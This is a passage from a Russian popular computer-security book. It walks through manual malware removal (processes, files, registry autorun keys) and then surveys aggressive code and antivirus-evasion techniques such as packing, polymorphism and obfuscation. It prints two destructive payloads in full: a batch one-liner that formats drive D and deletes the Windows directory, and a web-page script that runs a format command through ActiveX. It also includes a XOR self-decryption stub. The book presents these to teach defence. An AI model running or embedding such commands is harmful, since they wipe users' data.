Текст книги "Защити свой компьютер на 100% от вирусов и хакеров"
Автор книги: Олег Бойцев
Жанр: Компьютеры: прочее, Компьютеры
сообщить о неприемлемом содержимом
Текущая страница: 12 (всего у книги 20 страниц)
4.4. Практический экзорцизм – изгоняем «зло-код» голыми руками
Проверено автором. Если в процессе работы антивирусов, чистильщиков, сканеров и прочего вы все-таки почувствовали, что экзорцист – это вы, а порции адреналина получает кто-то другой, то непременно, даже не задумываясь, вам обязательно следует «убить» его собственными руками.
Для ритуала нам понадобятся:
♦ светлая голова и работающая Windows;
♦ Редактор реестра;
♦ минимальный набор специальных программ (Starter, ADinf).
Как правило, процедура безопасного избавления от вредоносного ПО включает в себя ряд стадий, главными из которых будут следующие.
1. Завершение "зло-процесса".
2. Уничтожение исполняемого файла.
3. Уничтожение записи в реестре, принадлежащей вирусу/троянскому коню.
Технология убийства процесса, принадлежащего "чужому", несложна и сводится к выделению процесса в списке Диспетчера задач и нажатию кнопки Завершить процесс. Понятное дело, что следующие процессы трогать не стоит: Explorer, Lsass, Services, System, Winlogon, Vsmon, Ctfmon, Svchost, Csrss, Smss. Естественно, помимо перечисленных, в Диспетчере задач можно обнаружить и другие процессы – те, которые принадлежат запущенным и резидентно выполняющимся приложениям. Это, например, avp, принадлежащий «Антивирусу Касперского», zonealarm, принадлежащий брандмауэру, и т. д. Особое внимание следует обратить на так называемые процессы-маскировщики, имитирующие истинные: explore, sys, svshost, winlogin, systrey и т. д.
При невозможности остановки "зло-процесса" средствами Диспетчера задач можно воспользоваться утилитой Process Explorer или ей подобной (например, вышеупомянутой Anti-Spy Info).
Здесь следует упомянуть о множестве подводных камней, с которыми может столкнуться пользователь, пытающийся "высадить" заразу из системы:
♦ никто не запретит вредоносному коду висеть в Диспетчере задач под «легальным» именем (например, svchost);
♦ "зло-процесс" может вообще не светиться в Диспетчере задач – такое вполне возможно.
Вторая стадия нашего ритуала подразумевает удаление тела "зло-кода". Но опять с некоторым уточнением.
♦ Удаление такого файла может стать непреодолимым препятствием: система просто запретит удалять ею используемый файл. В этом случае удалить вирус можно будет только из другой среды (например, используя Live-CD) или, предварительно переименовав подозрительный файл, удалить его одним из возможных способов.
♦ Возможен также вариант, когда "зло-код" изменяет настройки Windows, так чтобы пользователь не мог видеть скрытые файлы (в числе которых и сам вирус).
♦ Если вирус внедрится в один из легально используемых системой файлов – кого тогда мы будем удалять?! К счастью, большинство из вариантов подобного рода несостоятельны изначально: в системе Windows присутствует служба SFC, следящая за грубой подменой системных файлов.
♦ Возможен также вариант, когда файл будет удален, но по прошествии некоторого времени легко и просто "восстанет из пепла". Как такое может быть? Да очень просто. Хотя бы посредством технологии "watch dog" (от англ. "сторожевой пес"), когда вирус или троянский конь для своей работы использует два взаимоподдерживающих файла: в случае удаления первого второй реанимирует его, и наоборот.
♦ Более продвинутый "зло-код" внедрится прямо в адресное пространство одного из доверенных процессов (например, IE, Opera и т. д.). Физически такой код будет присутствовать только в оперативной памяти! Результат – никаких следов на диске. Решение проблемы напрашивается само собой, исходя из специфических особенностей работы такого кода…
Будем считать, что у читателя не возникнет трудностей с удалением исполняемого файла заразы. Но для начала его надо найти!
Одним из возможных вариантов такого поиска может стать поиск системных файлов, дата создания которых отличается от остальной массы аналогичных файлов. Как это сделать? Просто. Для просмотра даты создания открываем проводник Windows, после чего в меню Вид выбираем Таблица, затем Вид ► Выбор столбцов в таблице и устанавливаем флажок напротив Дата создания. Щелкнув кнопкой мыши на шапке таблицы, выбираем сортировку по убыванию даты создания, после чего самые новые файлы окажутся в начале списка. Системные файлы, чья дата создания отличается от «основной» для таких же аналогичных файлов, должны насторожить.
ПРИМЕЧАНИЕ
Достаточно эффективным способом обнаружения вредоносного кода может стать простой контроль новых файлов в системной директории средствами операционной системы Windows через Пуск ► Поиск. В простейшем случае такой контроль может быть сведен к поиску файлов, созданных, к примеру, сегодня.
К слову будет сказано, идея о том, чтобы контролировать появление новых файлов на жестком диске, достаточно проста, но, как показала практика, более чем эффективна. Удачная ее реализация – программа-ревизор ADinf32. Ревизор, в отличие от полифагов (а к данной категории относится большинство антивирусных программ), в свежих базах не нуждается.
Принцип работы ADinf32 основан на сохранении в специальной базе основных данных о каждом логическом диске в системе. При первом запуске в таблицах запоминаются объем оперативной памяти, образы главного загрузочного сектора, загрузочных секторов, список сбойных кластеров, структура дерева каталогов, длины и контрольные суммы файлов. Когда вирусный код заражает компьютер, он изменяет объект, в который внедряется исполняемый файл, главный загрузочный сектор, FAT-таблицу – что-то да изменит. Если ревизор обнаруживает на диске изменения, характерные для действия вируса/троянского коня, он предупреждает об этом пользователя. Важным отличием ADinf от других существующих программ-ревизоров является доступ к дискам без использования функций операционной системы. Такой метод доступа к дискам позволяет успешно обнаруживать стелс-вирусы (вирусы-невидимки).
При условии что был сделан снимок чистой системы, найти и стереть "лишний" файл не составит особого труда (рис. 4.8).
Третьим пунктом в нашем ритуале изгнания должно стать удаление "зло-записи" из реестра. Существует множество широко известных ключей автозапуска, в которые прописываются вирусы, черви, троянские кони и другие программы, пытающиеся внедриться в атакуемую систему.
Запись на автозапуск "зло-кода" может быть здесь:
HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun
А также здесь:
HKEY_CURENT_USERSoftwareMicrosoftWindowsCurrentVersionRunonce
HKEY_USERS.DefaultSoftwareMicrosoftWindowsCurrentVersionRun
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunonce
Рис. 4.8. Программа ADinf32 в действии
Вышеперечисленные ветки реестра можно считать самыми распространенными путями запуска, однако эти записи составляют далеко не исчерпывающий список.
Удалить запись, принадлежащую непрошеному гостю, можно, запустив редактор реестра (откройте меню Пуск, щелкните на ссылке Выполнить и в появившемся окне введите команду regedit) или же воспользовавшись специализированными утилитами типа Starter (рис. 4.9).
Рис. 4.9. Утилита Starter в действии
И напоследок один из примеров излечения системы от вируса, который при своей работе просто-напросто отключал "Антивирус Касперского 7.0", Nod32, Dr.Web и другое антивирусное программное обеспечение. Вирус присутствовал в базах перечисленных антивирусов, но отключал их прежде, чем они пытались удалить его.
Выход оказался достаточно простым: в данном случае эффективным средством против упреждающей деструктивной деятельности такого вируса оказалась загрузка системы из-под учетной записи с пользовательскими привилегиями (до этого момента систему загружали из-под прав администратора, и вирус, соответственно, имел практически неограниченные привилегии, в том числе и возможность управления антивирусным ПО).
В связи с этим уместно упомянуть одно из главных правил антивирусной безопасности: вирусный код может все то, что может пользователь.
Вывод: работа с пользовательскими правами в системе значительно снижает как риск заражения, так и возможные деструктивные последствия запуска вредоносного кода.
Глава 5
Агрессивные формы кода и борьба с ними
♦ Все гениальное – просто. Пишем вирус одной строкой!
♦ Веб-страница в обличии Фредди Крюгера – "потрошит" ваш винчестер!
♦ Антология сокрытия вирусного кода
♦ Как работает эвристический анализатор кода и почему даже два антивируса в системе могут стать бесполезными
Как обойти антивирус? Можно ли написать вирус всего одной строкой кода? Может ли веб-страница отформатировать диск? Какие методы используют вирусописатели для сокрытия своего кода и почему даже два антивируса могут стать бесполезными для вашей системы?
На эти вопросы вы найдете ответы в данной главе.
5.1. Все гениальное – просто. Пишем вирус одной строкой!
Можно ли создать вирус, который не будет светиться в базах антивирусов? Можно. И чтобы этот вирус форматировал диски и «убивал» Windows? Можно. Парой строчек? Можно! Только никому (листинг 5.1)…
Листинг 5.1. Всего две строки
@echo off
format d:/q/y & del %SystemRoot% /q/s/f
Возможные варианты защиты от такого "сюрприза":
♦ бдительность пользователя (ведь данный пример – скрипт-вирус, код которого можно просмотреть через Блокнот!);
♦ работа не с правами администратора (попробуйте отформатировать диск с правами пользователя!).
5.2. Веб-страница в обличии Фредди Крюгера – «потрошит» ваш винчестер!
Можно ли, посетив сайт, получить в подарок отформатированные диски? А почему бы и нет. Тем более что возможности JavaScript и ActiveX вкупе с многочисленными уязвимостями Internet Explorer выходят за рамки простых документированных функций (листинг 5.2).
Листинг 5.2. Форматируем диск – легко!
<script>
a=new ActiveXObject("WScript.Shell");
a.run("cmd /c format d:/y",0);
</script>
Применение ActiveX-компонентов делает веб-страницы более интерактивными. Но за удобство и функциональность можно дорого заплатить: многочисленные уязвимости IE позволяют, к примеру, неподписанные (они же небезопасные) компоненты ActiveX представить пользователю как подписанные (безопасные, так как происхождение и содержание такого компонента подтверждено электронной подписью удостоверяющего центра) или вообще скрыть от глаз выполнение произвольного сценария.
Возможные варианты защиты в подобных случаях.
♦ Задание безопасных настроек браузера (Сервис ► Свойства обозревателя ► Безопасность ► Высокий).
♦ Как альтернатива, конфигурирование зон интернет-безопасности вручную (Сервис ► Свойства обозревателя ► Безопасность ► Другой ► Загрузка неподписанных элементов ActiveX ► Отключить, Активные сценарии ► Отключить и т. д.).
♦ Ну и, конечно же, бдительность пользователя. К примеру, прежде чем вышеописанный сценарий сделает свое черное дело, система два раза "аккуратно намекнет" на потенциальную опасность (рис. 5.1 и 5.2).
Рис. 5.1. Первое предупреждение
Рис. 5.2. Второе предупреждение
5.3. Антология сокрытия вирусного кода
Не секрет, что выживаемость современного вредоносного ПО в большей степени обусловлена его параллельной эволюцией с антивирусными продуктами. Современный антивирус уже не тот, который был год-два тому назад, – это факт. Для отлова и уничтожения вредоносного кода в антивирусах реализованы самые передовые и изощренные технологии: модули проактивной защиты и анализа подозрительного поведения, контроль целостности приложений и реестра и др. Стоит только такому «зверю» показать себя, как его тут же пропустят через «мясорубку», в роли которой, как вы уже догадались, выступает антивирусный сканер, после чего подозрительные остатки окажутся «на приеме» у эвристического анализатора.
Ну да, казалось бы, после такого чистилища какой из экземпляров вирусного кода выстоит? Но нет. Все же факт остается фактом: ежедневно регистрируется появление более сотни экземпляров вирусного кода, и каждый из экземпляров рожден, чтобы остаться невидимкой.
На сегодняшний день можно выделить следующие наиболее популярные методы сокрытия:
♦ упаковка;
♦ полиморфизм;
♦ обфускация;
♦ руткит-технологии;
♦ сокрытие в среде.
Даже этого, далеко не полного списка достаточно, чтобы представить себе, насколько технологичны современные методы сокрытия вирусного кода.
УпаковкаНачнем с упаковки как самого популярного метода сокрытия вирусного кода. К слову будет сказано, именно упаковка является самым простым инструментом, чтобы скрыть вирус, который уже засветился в антивирусных базах.
Упаковка заключается в сжатии исполняемого файла и прикреплении к нему кода, необходимого для распаковки и исполнения.
Как метод сокрытия упаковка представляет собой довольно грозное оружие. Достаточно привести пример: грамотно упакованный червь способен вызвать не менее серьезную, чем его первообраз, эпидемию, ведь такой червь распознается антивирусами как новый экземпляр. Не секрет, что большинство из ныне присутствующих в сети вредоносных программ есть не что иное, как модификации посредством упаковки. Например, широко известный троянский конь Backdoor.Rbot распространяется упакованным множеством различных упаковщиков (Ezip, Exe32Pack, ExeStealth, PecBundle, PECompact, FSG, UPX, Morphine, ASPack, Petite, PE-Pack, PE-Diminisher, PELock, PESpin, TeLock, Molebox, Yoda, Ezip, Krypton и др.).
Когда антивирусу попадается упакованный файл, он его, понятное дело, пытается распаковать. Получается, что чем с большим количеством упаковщиков способен работать антивирус, тем больше у него шансов обнаружить упакованный код.
Поддержка большого количества разновидностей упаковщиков и архиваторов особенно критична для проверки почтовых систем, так как подавляющая часть вирусов пересылается по почте в архивированном виде.
Вам наверняка интересно понять разницу между архиватором и упаковщиком. А разница в том, что сжатое упаковщиком разжимается в память, архиватором – на диск.
Понятно, что добраться до упакованного кода можно, лишь распаковав его. Но и это не всегда просто. Посмотрим почему.
Распаковщики делятся на динамические и статические. Динамические распаковщики (например, procdump или PEiD) запускают файл и создают распакованный вариант файла из образа, загруженного в память. Однако, если этот файл содержал вирус (а он его содержит!), система может быть повреждена раньше, чем антивирус успеет что-либо сделать. Кроме того, у упаковщиков существует ряд приемов борьбы с динамической распаковкой, например расшифровывать код не полностью, а лишь по мере исполнения, или, например, расшифровывать и запускать вирус целиком только в определенный день недели.
Статические распаковщики – это те, которые пытаются распаковать файл, не запуская его (например, CUP386 или UNP). Очень часто статические распаковщики оказываются бесполезны, если алгоритм упаковки требует запуска файла.
Чтобы представить себе весь размах упаковки, достаточно привести этот скромный список упаковщиков, применяемых при сокрытии вирусного кода: EP (ExE Pack), ACProtect, Active PE Scrambler, AHTeam UPX Mutanter, Armadillo SPS, ASPack, ASProtect, ASProtect SKE, aUS [Advanced UPX Scrambler], Beria, DEF, Enigma Protector, Exe Stealth, Exe32Pack, EXECryptor, EXERefactor, eXPressor, Fake Ninja, fileEncrypt, FSG, GPcH Protect, Hide PE, HidePX, hyings PE-Armor, JDPack, KByS Packer, kkrunchy, Krypton The Krypter, Mew 11 SE, MoleBox Pro, Morphine, mPack, MSLRH, nPack, NsPack, Obsidium, ORiEN, Packman, PC Guard, PE Diminisher, PECompact, PELock, PEQuake, PESpin, PeStubOEP, Petite, PeX, Private exe Protector, PseudoSignerRLP, SDProtector Pro, Special EXE Password Protector, SHProtector, ShrinkWrap, SLVc0deProtector, Spirits PE Crasher, Stealth PE, tElock, Themida,
TPPpack, TrueEP, Unopix, UPX, VB AntiCrack, VMProtect, WinUpack, yoda Crypter, yoda Protector, [G!X]s Protector.
Кому-то из читателей этот список, наверное, может показаться большим – а ведь это всего лишь десятая часть от того, что в настоящее время применяется.
Очень часто, чтобы запутать антивирус и сделать так, чтоб тот не смог распознать, чем запакован код, вирус дополнительно пропускают через утилиты типа PEiD, основной задачей которого является изменение точки входа в программу, но об этом более подробно в подразд. "Обфускация" этого раздела.
ПолиморфизмПолиморфизм представляет собой способность вируса в процессе работы менять свой код таким образом, чтобы максимально затруднить процесс своего обнаружения путем сигнатурного сканирования и частично эвристики.
Особо следует отметить тот факт, что и сама процедура, определяющая мутацию кода, не должна быть постоянной. Такая процедура изменения вируса видоизменяется при каждом новом заражении.
На самом деле обнаружение грамотно написанного полиморфного вируса средствами обычного сигнатурного сканирования невозможно. Неудивительно, что с появлением полиморфизма во многих антивирусных продуктах появились принципиально новые техники обнаружения: эвристика и эмуляторы кода.
Первый известный полиморфный вирус 1260 был написан Марком Вашберном (Mark Washburn) уже в далеком 1990 году.
Пожалуй, самый простой способ реализации полиморфизма заключается в том, чтобы побайтно зашифровать основную часть вируса операцией XOR (листинг 5.3).
Листинг 5.3. Побайтное шифрование – простейший пример
mov cx, code_length
mov si, offset begin_code
mov al, xor_key
_loop:
xor [si+cx], al расшифровываем байт
loop _loop ;берем следующий байт
jmp si
;…
;…
begin_code:
;зашифрованная часть тела вируса – здесь!
;она ответственна за заражение новых файлов
;и создание новой процедуры расшифровки
В качестве примера уместно привести описание следующего полиморфного вируса (www.virusList.com).
Virus.Win32.Zombie – сложный полиморфный вирус, который использует уникальную технологию встраивания в файлы: вирус "разбирает" (дизассембли-рует) PE EXE-файл на составные части, встраивает свой код и собирает заново, перемешивая при этом свой код и код заражаемого файла. Virus.Win32.Zombie использует уникальную технологию декриптования своего тела для обхода эвристических анализаторов.
ОбфускацияОбфускация (от лат. obfuscare – «затенять, затемнять») – техника, направленная на запутывание кода программы, то есть приведение исходного текста или исполняемого кода к работающему виду, но затрудняющему анализ такого кода.
Обфускация может быть проведена на уровне алгоритма, на уровне исходного текста или вообще ассемблерного текста. Так, создание запутанного ассемблерного текста может быть достигнуто путем использования специализированных компиляторов. Такие компиляторы, как правило, заново создают код, используя для этого недокументированные возможности среды выполнения программы.
Для создания "запутанного" кода существуют специализированные утилиты, которые так и называются– обфускаторы.
В контексте сокрытия вирусного кода суть метода заключается в том, чтобы запутать программный код и устранить в нем большинство логических связей, делая код максимально неузнаваемым антивирусным ПО (листинги 5.4, 5.5).
Листинг 5.4. Некоторые примеры обфускации кода. Пример № 1
int COUNT = 100;
float TAX_RATE = 0.2;
for (int i=0; i<COUNT; i++)
{
tax[i] = orig_price[i] * TAX_RATE; price[i] = orig_price[i] + tax[i];
}
Код после обфускации:
for(int a=0;a<100;a++){b[a]=c[a]*0.2;d[a]=c[a]+b[a];}
Листинг 5.5. Некоторые примеры обфускации кода. Пример № 2 (Perl)
my $filter;
if (@pod) {
my ($buffd, $buffer) = File::Temp::tempfile(UNLINK => 1);
print $buffd "";
print $buffd @pod or die "";
print $buffd
close $buffd or die "";
@found = $buffer;
$filter = 1;
}
exit;
sub is_tainted {
my $arg = shift;
my $nada = substr($arg, 0, 0); # zero-length
local $@; # preserve caller's version
eval { eval "#" }; return length($@) != 0;
}
sub am_taint_checking {
my($k,$v) = each %ENV;
return is_tainted($v);
}
После обфускации:
sub z109276e1f2 { ( my $z4fe8df46b1 = shift ( @_ ) ) ; ( my
$zf6f94df7a7 = substr ( $z4fe8df46b1 ,
(0x1eb9+ 765-0x21b6) , (0x0849+ 1465-0x0e02) ) ) ; local $@ ;
eval { eval ( (
"" ) ) ; } ; return ( ( length ( $@ ) != (0x26d2+ 59-0x270d) ) )
; } my ( $z9e5935eea4 ) ; if ( @z6a703c020a ) { ( my (
$z5a5fa8125d , $zcc158ad3e0 ) =
File::Temp::tempfile ( "" , (0x196a+ 130-0x19eb) ) ) ; print (
$z5a5fa8125d "" ) ; ( print ( $z5a5fa8125d @z6a703c020a
) or die ( ( ( ( "" . $zcc158ad3e0 ) . "x3ax20" ) . $! ) ) ) ;
print ( $z5a5fa8125d "" ) ; ( close ( $z5a5fa8125d ) or die ( ( (
( "" ) ) ) ; ( @z8374cc586e = $zcc158ad3e0 ) ; ( $z9e5935eea4 =
(0x1209+ 1039-0x1617) ) ; } exit ; sub z021c43d5f3 { ( my (
$z0f1649f7b5 , $z9e1f91fa38 ) = each ( %ENV ) ) ; return (
z109276e1f2 ( $z9e1f91fa38 ) ) ; }
Как видите, в простейшем случае процедура обфускации заключается в переводе кода в нечитаемое (но рабочее) состояние.
Вышеописанные примеры – примеры так называемой высокоуровневой обфускации "мирного назначения". Если же ее экстраполировать на вирусный код, то изменится немногое: разве только то, что при маскировке вирусного кода используют в большинстве случаев низкоуровневую обфускацию (с применением команд ассемблера), а также программы для автоматической обфускации, например Afx!AVSpoffer, EPProt и PETools.
Технология обфускации может подразумевать следующие процедуры:
♦ изменение таблиц импорта, экспорта и переадресации;
♦ маскировка оригинальной Entry Point (точка входа в программу);
♦ использование полиморфного варианта распаковки.
Продолжим рассмотрение вариантов сокрытия и рассмотрим особенности руткит-технологий.
Правообладателям!
Это произведение, предположительно, находится в статусе 'public domain'. Если это не так и размещение материала нарушает чьи-либо права, то сообщите нам об этом.